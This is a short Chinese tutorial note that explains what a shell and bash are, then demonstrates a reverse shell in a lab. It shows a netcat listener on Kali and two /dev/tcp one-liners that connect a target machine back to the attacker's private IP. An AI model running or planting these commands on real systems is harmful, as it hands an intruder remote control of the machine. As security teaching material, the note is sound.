文章目录
- 是什么?
- bash
- 是什么?
- 反弹shell
是什么?
Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。
Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。
Ken Thompson 的 sh 是第一种 Unix Shell,Windows Explorer 是一个典型的图形界面 Shell。
也就是说,shell是Linux中提供给系统和用户的一个接口程序相当于用户和Linux系统的“连接通道”,用户可以通过shell访问Linux系统。
bash
是什么?
shell是运行在终端中的文本互动程序。
bash(GNU Bourne-Again Shell)是最常用的一种shell,是当前大多数Linux发行版的默认Shell。
也就是说,bash是一种常用的shell程序,是用户访问Linux的接口。
反弹shell
在kali中监听6666端口:
nc -lvp 6666
目标机主动连接攻击机:
bash -i &> /dev/tcp/192.168.131.150/6666 0>&1
或
exec /bin/sh 0</dev/tcp/192.168.174.128/6666 1>&0 2>&0
反弹shell成功,攻击机kali与目标机建立了一个shell连接: